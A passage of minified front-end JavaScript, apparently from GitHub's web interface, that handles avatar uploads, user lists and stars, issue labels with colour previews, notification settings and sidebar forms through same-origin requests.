HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of e.querySelectorAll(".js-user-list-menu-item"))r.checked=r.defaultChecked;n.json.didCreate?await Or():o&&await(0,Me.x0)(o),(0,c.f)(e,"user-list-menu-form:success")}),(0,c.on)("click",".js-user-list-delete-confirmation-trigger",e=>{const{currentTarget:t}=e,n=t.getAttribute("data-template-id");if(!n)return;const o=document.getElementById(n);if(!o||!(o instanceof HTMLTemplateElement))return;const r=t.closest(".js-edit-user-list-dialog");r&&(r.open=!1);const i=o.content.cloneNode(!0),a=o.getAttribute("data-labelledby");(0,Te.W)({content:i,labelledBy:a})}),(0,c.on)("click",".js-user-lists-create-trigger",async function(e){const{currentTarget:t}=e,n=document.querySelector(".js-user-list-create-dialog-template"),o=e.currentTarget.getAttribute("data-repository-id"),r=t.closest(".js-user-list-menu-content-root"),i=r==null?void 0:r.querySelector(".js-user-lists-menu-filter"),a=i==null?void 0:i.value.trim();if(!n||!(n instanceof HTMLTemplateElement)||!o){t instanceof HTMLButtonElement&&(t.disabled=!0);return}const l=n.getAttribute("data-label");if(r&&(0,Mt.T)(r)){const S=r.querySelector(".js-user-list-menu-form");S&&await jl(S)}const y=new lt.R(n,{repositoryId:o,placeholderName:a}),w=await(0,Te.W)({content:y,label:l});w.addEventListener("user-list-form:success",async()=>{await Or();const S=w.closest("details");S&&(S.open=!1)})}),(0,u.N7)("[data-warn-unsaved-changes]",{add(e){e.addEventListener("input",qt),e.addEventListener("change",qt),e.addEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").addEventListener("toggle",Nr),t.addEventListener("details-dialog-close",Br))},remove(e){e.removeEventListener("input",qt),e.removeEventListener("change",qt),e.removeEventListener("submit",et);const t=e.closest("details-dialog");t&&(t.closest("details").removeEventListener("toggle",Nr),t.removeEventListener("details-dialog-close",Br),et())}});function qt(e){const t=e.currentTarget;(0,Mt.T)(t)?Tl(t):et()}s(qt,"prepareUnsavedChangesWarning");function Tl(e){const t=e.getAttribute("data-warn-unsaved-changes")||"Changes you made may not be saved.";window.onbeforeunload=function(n){return n.returnValue=t,t}}s(Tl,"enableSaveChangesReminder");function et(){window.onbeforeunload=null}s(et,"disableSaveChangesReminder");function Nr({currentTarget:e}){e.hasAttribute("open")||et()}s(Nr,"disableSaveChangesReminderOnClosedDialogs");function Br(e){const t=e.currentTarget;if(!t.closest("details[open]"))return;let o=!0;const r=t.querySelectorAll("form[data-warn-unsaved-changes]");for(const i of r)if((0,Mt.T)(i)){const a=i.getAttribute("data-warn-unsaved-changes");o=confirm(a);break}o||e.preventDefault()}s(Br,"promptOnDialogClosing"),(0,u.N7)(".will-transition-once",{constructor:HTMLElement,subscribe:e=>(0,M.RB)(e,"transitionend",Al)});function Al(e){e.target.classList.remove("will-transition-once")}s(Al,"onTransitionEnd");async function Cl(e){const t=e.currentTarget,n=t.getAttribute("data-url");if(!n||kl(t))return;const o=t.getAttribute("data-id")||"",r=t.textContent,i=document.querySelectorAll(`.js-issue-link[data-id='${o}']`);for(const a of i)a.removeAttribute("data-url");try{const a=`${n}/title`,l=await fetch(a,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!l.ok){const w=new Error,S=l.statusText?` ${l.statusText}`:"";throw w.message=`HTTP ${l.status}${S}`,w}const y=await l.json();$r(i,`${r}, ${y.title}`)}catch(a){const l=(a.response!=null?a.response.status:void 0)||500,y=(()=>{switch(l){case 404:return t.getAttribute("data-permission-text");default:return t.getAttribute("data-error-text")}})();$r(i,y||"")}}s(Cl,"issueLabel");function $r(e,t){for(const n of e)n instanceof HTMLElement&&(n.classList.add("tooltipped","tooltipped-ne"),n.setAttribute("aria-label",t))}s($r,"setLabel");function kl(e){switch(e.getAttribute("data-hovercard-type")){case"issue":case"pull_request":return!!e.closest("[data-issue-and-pr-hovercards-enabled]");case"discussion":return!!e.closest("[data-discussion-hovercards-enabled]");default:return!1}}s(kl,"isHovercardEnabled"),(0,u.N7)(".js-issue-link",{subscribe:e=>(0,M.RB)(e,"mouseenter",Cl)});var xl=f(12085),Ie=f.n(xl);function xn(){return[Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0),Math.floor(Math.random()*(255-0)+0)]}s(xn,"randomRGBColor");function tt(e,t){const n=Ie().rgb.hsl(t);e.style.setProperty("--label-r",t[0].toString()),e.style.setProperty("--label-g",t[1].toString()),e.style.setProperty("--label-b",t[2].toString()),e.style.setProperty("--label-h",n[0].toString()),e.style.setProperty("--label-s",n[1].toString()),e.style.setProperty("--label-l",n[2].toString())}s(tt,"setColorSwatch");function Mn(e,t){e.blur();const n=e.closest("form"),o=n.querySelector(".js-new-label-color-input");(0,L.Se)(o,`#${Ie().rgb.hex(t)}`);const r=n.querySelector(".js-new-label-color");tt(r,t)}s(Mn,"setInputColorFromButton");function Ml(e,t){e.closest(".js-label-error-container").classList.add("errored"),e.textContent=t,e.hidden=!1}s(Ml,"addErrorToField");function ql(e){e.closest(".js-label-error-container").classList.remove("errored"),e.hidden=!0}s(ql,"removeErrorFromField");function ze(e,t,n){const o=t.querySelector(e);!o||(n?Ml(o,n[0]):ql(o))}s(ze,"showOrHideLabelError");function qn(e,t){ze(".js-label-name-error",e,t.name),ze(".js-label-description-error",e,t.description),ze(".js-label-color-error",e,t.color)}s(qn,"showLabelErrors");function De(e){ze(".js-label-name-error",e,null),ze(".js-label-description-error",e,null),ze(".js-label-color-error",e,null)}s(De,"hideLabelErrors");function Rl(e,t,n,o,r){const i=new URL(`${e}${encodeURIComponent(t)}`,window.location.origin),a=new URLSearchParams(i.search.slice(1));return a.append("color",n),o&&a.append("description",o),r&&a.append("id",r),i.search=a.toString(),i.toString()}s(Rl,"labelPreviewUrl");function _l(e){let t=null;const n=e.querySelector(".js-new-label-description-input");return n instanceof HTMLInputElement&&n.value.trim().length>0&&(t=n.value.trim()),t}s(_l,"labelDescriptionFrom");function Pl(e){const t=e.querySelector(".js-new-label-color-input");return t.checkValidity()?t.value.trim().replace(/^#/,""):"ededed"}s(Pl,"labelColorFrom");function Il(e,t){let o=e.querySelector(".js-new-label-name-input").value.trim();return o.length<1&&(o=t.getAttribute("data-default-name")),o}s(Il,"labelNameFrom");async function Ke(e){const t=e.closest(".js-label-preview-container");if(!t)return;const n=e.closest(".js-label-form"),o=n.querySelector(".js-new-label-error"),r=n.getAttribute("data-label-id"),i=t.querySelector(".js-label-preview"),a=Il(n,i);if(!n.checkValidity()&&a!=="Label preview")return;const l=Pl(n),y=_l(n),w=i.getAttribute("data-url-template"),S=Rl(w,a,l,y,r);if(t.hasAttribute("data-last-preview-url")){const I=t.getAttribute("data-last-preview-url");if(S===I)return}let R;try{R=await(0,pe.a)(document,S)}catch(I){const F=await I.response.json();qn(n,F),o&&(o.textContent=F.message,o.hidden=!1);return}o&&(o.textContent="",o.hidden=!0),De(n),i.innerHTML="",i.appendChild(R),t.setAttribute("data-last-preview-url",S)}s(Ke,"updateLabelPreview");function Dl(e){Ke(e.target)}s(Dl,"onLabelFormInputChange");function Fr(e,t){e.closest(".js-details-container").classList.toggle("is-empty",t)}s(Fr,"toggleBlankSlate");function Ur(e){const t=document.querySelector(".js-labels-count"),o=Number(t.textContent)+e;t.textContent=o.toString();const r=document.querySelector(".js-labels-label");return r.textContent=r.getAttribute(o===1?"data-singular-string":"data-plural-string"),o}s(Ur,"updateCount"),(0,j.q6)(".js-label-filter-field",function(e){const t=e.target,o=t.closest("details-menu").querySelector(".js-new-label-name");if(!o)return;const r=t.value.trim();o.textContent=r}),(0,c.on)("filterable:change",".js-filterable-issue-labels",function(e){const t=e.currentTarget.closest("details-menu"),n=t.querySelector(".js-add-label-button");if(!n)return;const r=e.detail.inputField.value.trim().toLowerCase();let i=!1;for(const a of t.querySelectorAll("input[data-label-name]"))if((a.getAttribute("data-label-name")||"").toLowerCase()===r){i=!0;break}n.hidden=r.length===0||i}),(0,j.ZG)(".js-new-label-color-input",function(e){const n=e.closest("form").querySelector(".js-new-label-swatches");n.hidden=!1,e.addEventListener("blur",function(){n.hidden=!0},{once:!0})}),(0,j.q6)(".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(!(n.length<1))if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){t.classList.remove("color-fg-danger");const r=t.closest("form").querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(n))}else t.classList.add("color-fg-danger")}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const t=e.target;let n=t.value.trim();if(n.indexOf("#")!==0&&(n=`#${n}`,t.value=n),t.checkValidity()){const i=t.closest("form").querySelector(".js-new-label-color");tt(i,Ie().hex.rgb(n))}(0,c.f)(t,"change",!1);const o=t.closest("form");De(o)}),(0,j.w4)("keyup",".js-new-label-description-input",function(e){const n=e.target.form;De(n)}),(0,j.w4)("keyup",".js-new-label-color-input",function(e){const n=e.target.form;De(n)}),(0,c.on)("click",".js-new-label-color",async function(e){const t=e.currentTarget,n=xn();Mn(t,n),Ke(t)}),(0,c.on)("mousedown",".js-new-label-color-swatch",function(e){const t=e.currentTarget,n=t.getAttribute("data-color");Mn(t,Ie().hex.rgb(n)),Ke(t);const o=t.closest(".js-new-label-swatches");o.hidden=!0}),(0,c.on)("toggle",".js-new-label-modal",function(e){e.target.hasAttribute("open")&&Wr(e.target)},{capture:!0});async function Wr(e){const t=e.querySelector(".js-new-label-name-input");if(!t)return;const n=e.querySelector(".js-new-label-color-input"),o=xn(),r=`#${Ie().rgb.hex(o)}`;n.value=r;const i=e.querySelector(".js-new-label-color");tt(i,o);const l=document.querySelector(".js-new-label-name").textContent;(0,L.Se)(t,l),(0,Ht.OD)(t),Ke(i)}s(Wr,"initLabelModal"),(0,C.AC)(".js-new-label-modal-form",async function(e,t){const n=e.querySelector(".js-new-label-error");let o;try{o=await t.html()}catch(y){const w=y.response.json;n.textContent=w.message,n.hidden=!1}if(!o)return;n.hidden=!0,document.querySelector(".js-new-label-modal").removeAttribute("open");const r=document.querySelector(".js-issue-labels-menu-content"),i=r.querySelector(".js-filterable-issue-labels"),a=o.html.querySelector("input");i.prepend(o.html),a&&a.dispatchEvent(new Event("change",{bubbles:!0}));const l=r.querySelector(".js-label-filter-field");l.value=l.defaultValue,l.focus()}),(0,c.on)("click",".js-edit-label-cancel",function(e){const t=e.target.closest("form");De(t),t.reset();const n=t.querySelector(".js-new-label-color-input"),o=n.value,r=t.querySelector(".js-new-label-color");tt(r,Ie().hex.rgb(o)),(0,Ht.Qc)(t),Ke(n);const i=e.currentTarget.closest(".js-labels-list-item");if(i){i.querySelector(".js-update-label").classList.add("d-none");const l=i.querySelector(".js-label-preview");l&&(l.classList.add("d-none"),i.querySelector(".js-label-link").classList.remove("d-none"));const y=i.querySelectorAll(".js-hide-on-label-edit");for(const w of y)w.hidden=!w.hidden}}),(0,C.AC)(".js-update-label",async function(e,t){let n;try{n=await t.html()}catch(r){const i=r.response.json;qn(e,i);return}De(e),e.closest(".js-labels-list-item").replaceWith(n.html)}),(0,C.AC)(".js-create-label",async function(e,t){let n;try{n=await t.html()}catch(a){const l=a.response.json;qn(e,l);return}e.reset(),De(e),document.querySelector(".js-label-list").prepend(n.html),Ur(1),Fr(e,!1);const o=e.querySelector(".js-new-label-color"),r=xn();Mn(o,r),Ke(e.querySelector(".js-new-label-name-input")),(0,Ht.Qc)(e);const i=e.closest(".js-details-container");i instanceof HTMLElement&&(0,Vt.Qp)(i)}),(0,c.on)("click",".js-details-target-new-label",function(){document.querySelector(".js-create-label").querySelector(".js-new-label-name-input").focus()}),(0,c.on)("click",".js-edit-label",function(e){const t=e.currentTarget.closest(".js-labels-list-item"),n=t.querySelector(".js-update-label");n.classList.remove("d-none"),n.querySelector(".js-new-label-name-input").focus();const r=t.querySelector(".js-label-preview");r&&(r.classList.remove("d-none"),t.querySelector(".js-label-link").classList.add("d-none"));const i=t.querySelectorAll(".js-hide-on-label-edit");for(const a of i)a.hidden=!a.hidden}),(0,C.AC)(".js-delete-label",async function(e,t){const n=e.closest(".js-labels-list-item");n.querySelector(".js-label-delete-spinner").hidden=!1,await t.text();const o=Ur(-1);Fr(e,o===0),n.remove()});const Rt=(0,P.D)(Dl,500);(0,c.on)("suggester:complete",".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-name-input",Rt),(0,j.q6)(".js-new-label-description-input",Rt),(0,j.q6)(".js-new-label-color-input",Rt),(0,j.w4)("keypress",".js-new-label-name-input",function(e){const t=e.target,n=parseInt(t.getAttribute("data-maxlength"));(0,Ee.rq)(t.value)>=n&&e.preventDefault()}),(0,c.on)("click",".js-issues-label-select-menu-item",function(e){!e.altKey&&!e.shiftKey||(e.preventDefault(),e.stopPropagation(),e.altKey&&(window.location.href=e.currentTarget.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=e.currentTarget.getAttribute("data-included-url")))}),(0,j.w4)("keydown",".js-issues-label-select-menu-item",function(e){if(e.key!=="Enter"||!e.altKey&&!e.shiftKey)return;const t=e.currentTarget;e.preventDefault(),e.stopPropagation(),t instanceof HTMLAnchorElement&&(e.altKey&&(window.location.href=t.getAttribute("data-excluded-url")),e.shiftKey&&(window.location.href=t.getAttribute("data-included-url")))}),(0,c.on)("click",".js-open-label-creation-modal",async function(e){e.stopImmediatePropagation();const t=await(0,Te.W)({content:document.querySelector(".js-label-creation-template").content.cloneNode(!0),detailsClass:"js-new-label-modal"});Wr(t)},{capture:!0}),(0,c.on)("change",".js-thread-notification-setting",Rn),(0,c.on)("change",".js-custom-thread-notification-option",Rn),(0,c.on)("reset",".js-custom-thread-settings-form",Rn);function Rn(){const e=document.querySelector(".js-reveal-custom-thread-settings").checked,t=!document.querySelector(".js-custom-thread-notification-option:checked"),n=document.querySelector(".js-custom-thread-settings"),o=document.querySelector("[data-custom-option-required-text]"),r=e&&t?o.getAttribute("data-custom-option-required-text"):"";o.setCustomValidity(r),n.hidden=!e}s(Rn,"toggleEventSettings");var Hl=Object.defineProperty,Ol=Object.getOwnPropertyDescriptor,zr=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Ol(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Hl(t,n,r),r},"sidebar_widget_decorateClass");let _n=s(class extends HTMLElement{get activeClass(){return this.getAttribute("active-class")||"collapsible-sidebar-widget-active"}get loadingClass(){return this.getAttribute("loading-class")||"collapsible-sidebar-widget-loading"}get url(){return this.getAttribute("url")||""}get isOpen(){return this.hasAttribute("open")}set isOpen(e){e?this.setAttribute("open",""):this.removeAttribute("open")}onKeyDown(e){if(e.code==="Enter"||e.code==="Space")return e.preventDefault(),this.load()}onMouseDown(e){return e.preventDefault(),this.load()}load(){return this.pendingRequest?this.pendingRequest.abort():this.collapsible.hasAttribute("loaded")?this.isOpen?this.setClose():this.setOpen():(this.setLoading(),this.updateCollapsible())}setLoading(){this.classList.add(this.loadingClass),this.classList.remove(this.activeClass)}setOpen(){this.classList.add(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!0}setClose(){this.classList.remove(this.activeClass),this.classList.remove(this.loadingClass),this.isOpen=!1}handleAbort(){this.pendingRequest=null,this.setClose()}async updateCollapsible(){var e;try{this.pendingRequest=new AbortController,this.pendingRequest.signal.addEventListener("abort",()=>this.handleAbort());const t=await fetch(this.url,{signal:(e=this.pendingRequest)==null?void 0:e.signal,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});if(this.pendingRequest=null,!t.ok)return this.setClose();const n=await t.text();this.collapsible.innerHTML=n,this.collapsible.setAttribute("loaded",""),this.setOpen()}catch{return this.pendingRequest=null,this.setClose()}}},"CollapsibleSidebarWidgetElement");zr([J.fA],_n.prototype,"collapsible",2),_n=zr([J.Ih],_n);var Nl=Object.defineProperty,Bl=Object.getOwnPropertyDescriptor,ve=s((e,t,n,o)=>{for(var r=o>1?void 0:o?Bl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&Nl(t,n,r),r},"sidebar_memex_input_decorateClass");let ye=s(class extends HTMLElement{constructor(){super(...arguments);this.url="",this.csrf="",this.instrument="",this.column=1}get isDisabled(){var e;return(e=this.read)==null?void 0:e.hasAttribute("disabled")}set hasErrored(e){e?this.setAttribute("errored",""):this.removeAttribute("errored")}set disabled(e){e?this.setAttribute("disabled",""):this.removeAttribute("disabled")}get hasExpanded(){return this.read.getAttribute("aria-expanded")==="true"}connectedCallback(){var e,t;this.disabled=(t=(e=this.read)==null?void 0:e.disabled)!=null?t:!0,this.querySelector("details")!==null&&this.classList.toggle("no-pointer")}handleDetailsSelect(e){var t;const n=e,o=e.target,r=(t=n.detail)==null?void 0:t.relatedTarget,i=o.closest("details"),a=i==null?void 0:i.querySelector("[data-menu-button]");if(r.getAttribute("aria-checked")==="true"){r.setAttribute("aria-checked","false"),e.preventDefault();for(const l of this.inputs)if(r.contains(l)){this.updateCell(l.name,""),(a==null?void 0:a.innerHTML)&&(a.innerHTML=l.placeholder);break}i==null||i.removeAttribute("open")}}handleDetailsSelected(e){var t;const o=(t=e.detail)==null?void 0:t.relatedTarget;for(const r of this.inputs)if(o.contains(r)){this.updateCell(r.name,r.value);break}}mouseDownFocus(e){!this.isDisabled||this.onFocus(e)}keyDownFocus(e){(e.code==="Enter"||e.code==="Space")&&this.read!==document.activeElement&&this.onFocus(e)}onChange(e){var t,n;e.target.getAttribute("type")!=="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value)}onFocus(e){e.preventDefault(),this.disabled=!1,this.read.disabled=!1,this.read.focus()}onBlur(e){var t,n;if(this.hasExpanded){e.preventDefault();return}e.target.getAttribute("type")==="date"&&this.updateCell((t=this.read)==null?void 0:t.name,(n=this.read)==null?void 0:n.value),this.read.disabled=!0,this.disabled=!0}onKeyDown(e){if(e.code==="Enter"||e.code==="Tab"){if(e.preventDefault(),e.stopPropagation(),this.hasExpanded)return;this.read.blur()}}async updateCell(e="",t=""){const n=new FormData;n.set(e,t),n.set("ui",this.instrument);for(const r of this.parameters)n.set(r.name,r.value);const o=Intl.DateTimeFormat("en-US",{month:"short",day:"numeric",year:"numeric",timeZone:"UTC"});try{if(this.write){const S=this.read.value,R=this.read.type==="date"&&S?o.format(Date.parse(S)):S;this.write.textContent=S?R:this.read.placeholder}const r=await fetch(this.url,{method:"PUT",body:n,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest","Scoped-CSRF-Token":`${this.csrf}`}});if(!r.ok)throw new Error("connection error");if(!this.write)return;const l=(await r.json()).memexProjectItem.memexProjectColumnValues.find(S=>S.memexProjectColumnId===Number(this.column)).value,y=this.read.type==="date"?Date.parse(l.value):l.html,w=this.read.type==="date"&&y?o.format(y):y;this.write.innerHTML=t?w:this.read.placeholder}catch{this.hasErrored=!0}}},"SidebarMemexInputElement");ve([J.Lj],ye.prototype,"url",2),ve([J.Lj],ye.prototype,"csrf",2),ve([J.Lj],ye.prototype,"instrument",2),ve([J.Lj],ye.prototype,"column",2),ve([J.GO],ye.prototype,"inputs",2),ve([J.fA],ye.prototype,"read",2),ve([J.fA],ye.prototype,"write",2),ve([J.GO],ye.prototype,"parameters",2),ye=ve([J.Ih],ye);function nt(e,t=!1){(t||!zl(e))&&(e instanceof HTMLFormElement?(0,L.Bt)(e):Pt(e))}s(nt,"submitForm");function Kr(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new 